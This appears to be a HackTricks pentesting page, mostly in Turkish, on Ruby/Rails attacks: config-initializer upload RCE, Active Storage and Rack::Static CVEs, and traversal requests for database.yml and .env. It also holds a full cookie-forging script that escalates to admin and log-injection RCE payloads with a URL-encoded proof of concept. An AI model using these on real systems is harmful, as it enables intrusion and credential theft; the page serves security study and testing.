Ruby Püf Noktaları
Reading time: 8 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Dosya yükleme ile RCE
As explained in this article, uploading a .rb
file into sensitive directories such as config/initializers/
can lead to remote code execution (RCE) in Ruby on Rails applications.
İpuçları:
- Uygulama başlatıldığında çalıştırılan diğer boot/eager-load konumları da yazılabilir olduklarında risklidir (ör.
config/initializers/
klasik örnektir). Eğerconfig/
altında herhangi bir yere düşen ve daha sonra evaluate/require edilen rastgele bir dosya yüklemesi bulursanız, boot sırasında RCE elde edebilirsiniz. - Rails'in boot sırasında yükleyeceği dosyaları container image içine kopyalayan dev/staging build'lerini arayın.
Active Storage image transformation → command execution (CVE-2025-24293)
When an application uses Active Storage with image_processing
+ mini_magick
, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.
- A vulnerable pattern looks like:
<%= image_tag blob.variant(params[:t] => params[:v]) %>
where params[:t]
and/or params[:v]
are attacker-controlled.
-
Test sırasında denenecekler
-
variant/processing seçeneklerini, dönüşüm isimlerini veya arbitrary ImageMagick argümanlarını kabul eden endpoint'leri tespit edin.
-
params[:t]
veparams[:v]
üzerinde Fuzz yaparak şüpheli hatalar veya yürütme yan etkileri arayın. Eğer metod adını etkileyebiliyor veya MiniMagick'e ulaşan ham argümanlar geçirebiliyorsanız, image processor host üzerinde code exec elde edebilirsiniz. -
Eğer yalnızca oluşturulan varyantlara okuma erişiminiz varsa, özel ImageMagick işlemleriyle blind exfiltration denemesi yapın.
-
Düzeltme/tespitler
-
Eğer Active Storage +
image_processing
+mini_magick
kullanan ve kullanıcı kontrollü dönüşümlere izin veren Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 görürseniz, bunu exploitable kabul edin. Yükseltme önerin ve yöntem/parametreler için sıkı izin listeleri uygulayın; ayrıca ImageMagick için sert bir policy uygulayın.
Rack::Static LFI / path traversal (CVE-2025-27610)
If the target stack uses Rack middleware directly or via frameworks, versions of rack
prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via Rack::Static
when :root
is unset/misconfigured. Encoded traversal in PATH_INFO
can expose files under the process working directory or an unexpected root.
config.ru
veya middleware yığını içindeRack::Static
mount eden uygulamaları arayın. Statik yolların üzerinde encoded traversal deneyin, örneğin:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
Ön eki (prefix
) yapılandırılmış urls:
ile eşleyecek şekilde ayarlayın. Eğer uygulama dosya içeriği ile yanıt veriyorsa, büyük ihtimalle çözülen :root
altındaki herhangi bir şeye LFI'niz vardır.
- Hafifletme: Rack'i yükseltin;
:root
sadece public dosyaların olduğu bir dizini işaret edecek şekilde açıkça ayarlayın.
Forging/decrypting Rails cookies when secret_key_base
is leaked
Rails encrypts and signs cookies using keys derived from secret_key_base
. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
Modern çerezleri deşifre etmek, değiştirmek ve yeniden şifrelemek için minimal Ruby (AES-256-GCM, recent Rails'te varsayılan):
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])
salt = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"
# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
Notlar:
- Eski uygulamalar AES-256-CBC ve tuzlar
encrypted cookie
/signed encrypted cookie
, veya JSON/Marshal serializer'ları kullanıyor olabilir. Tuzları, cipher ve serializer'ı buna göre ayarlayın. - İhlal/değerlendirme durumunda, mevcut tüm cookie'leri geçersiz kılmak için
secret_key_base
'i döndürün.
Ayrıca bakınız (Ruby/Rails'e özgü güvenlik açıkları)
- Ruby deserialization and class pollution: Deserialization Ruby Class Pollution Ruby Json Pollution
- Template injection in Ruby engines (ERB/Haml/Slim, etc.): SSTI (Server Side Template Injection)
Log Injection → RCE via Ruby load
and Pathname.cleanpath
smuggling
Bir uygulama (çoğunlukla basit bir Rack/Sinatra/Rails endpoint'i) hem:
- kullanıcı tarafından kontrol edilen bir dizeyi olduğu gibi logluyor, ve
- daha sonra aynı dizeden türetilen bir yolun işaret ettiği dosyayı
load
ediyorsa (Pathname#cleanpath sonrası),
Çoğu zaman log'u zehirleyip uygulamayı log dosyasını load
etmeye zorlayarak remote code execution elde edebilirsiniz. Temel ilkeler:
- Ruby
load
, hedef dosyanın içeriğini dosya uzantısından bağımsız olarak Ruby kodu olarak değerlendirir. İçeriği Ruby olarak parse edilebilen herhangi bir okunabilir metin dosyası çalıştırılacaktır. Pathname#cleanpath
, dosya sistemi ile etkileşime girmeden.
ve..
segmentlerini daraltır; bu, path smuggling'e izin verir: saldırgan kontrollü gereksiz veriler loglama için başa eklenebilirken temizlenmiş yol hâlâ çalıştırılacak hedef dosyaya işaret eder (ör.../logs/error.log
).
Minimal zafiyetli desen
require 'logger'
require 'pathname'
logger = Logger.new('logs/error.log')
param = CGI.unescape(params[:script])
path_obj = Pathname.new(param)
logger.info("Running backup script #{param}") # Raw log of user input
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
Neden log geçerli Ruby içerebilir
Logger
aşağıdaki gibi önek satırları yazar:
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
Ruby'de, #
bir yorum başlatır ve 9/2/2025
sadece aritmetiktir. Geçerli Ruby kodu enjekte etmek için şunları yapmalısınız:
- Yükünüzü yeni bir satırda başlatın, böylece INFO satırındaki
#
tarafından yorum satırı yapılmaz; başta bir newline gönderin (\n
veya%0A
). - INFO satırı tarafından açılmış saplanan
[
'i kapatın. Yaygın bir numara]
ile başlamak ve opsiyonel olarak parser'ı memnun etmek için][0]=1
kullanmaktır. - Ardından rastgele Ruby kodu yerleştirin (ör.
system(...)
).
Hazırlanmış bir parametreyle yapılan tek bir isteğin log'a düşecek hâli için örnek:
I, [9/2/2025 #209384] INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
Tek bir dizenin hem kodu loglayıp hem de log yoluna çözülmesini kaçırma
Tek bir saldırgan tarafından kontrol edilen dize istiyoruz ki:
- ham olarak loglandığında Ruby payload'ımızı içersin, ve
Pathname.new(<input>).cleanpath
ile işlendiğinde../logs/error.log
'e çözülsün; böylece ardından gelenload
az önce zehirlenmiş log dosyasını çalıştırır.
Pathname#cleanpath
şemaları yok sayar ve dizin atlama (../) bileşenlerini çökertip sadeleştirir, bu yüzden aşağıdaki işe yarar:
require 'pathname'
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath # => ../logs/error.log
#
karakterinin://
önünde olması, log yürütüldüğünde Ruby'nin kuyruğu yok saymasını sağlar;cleanpath
ise son eki hâlâ../logs/error.log
'a indirger.- Öndeki yeni satır INFO satırından çıkar;
]
sarkan köşeli parantezi kapatır;][0]=1
parser'ı tatmin eder.
Uçtan uca istismar
- Yedekleme betik adı olarak aşağıdakini gönderin (gerekirse ilk yeni satırı
%0A
olarak URL-encode edin):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
- Uygulama ham metninizi
logs/error.log
'a yazar. - Uygulama
cleanpath
'i hesaplar; bu../logs/error.log
olarak çözülür ve üzerindeload
çağrısı yapar. - Ruby, log'a enjekte ettiğiniz kodu çalıştırır.
CTF benzeri bir ortamda bir dosyayı dışarı çıkarmak için:
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
URL-encoded PoC (ilk karakter newline):
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
Kaynaklar
- Rails Güvenlik Duyurusu: CVE-2025-24293 Active Storage güvenli olmayan dönüşüm yöntemleri (7.1.5.2 / 7.2.2.2 / 8.0.2.1'de düzeltildi). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- GitHub Uyarısı: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
- Hardware Monitor Dojo-CTF #44: Log Injection ile Ruby RCE (YesWeHack Dojo)
- Ruby Pathname.cleanpath belgeleri
- Ruby Logger
- Ruby'de load nasıl çalışır
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.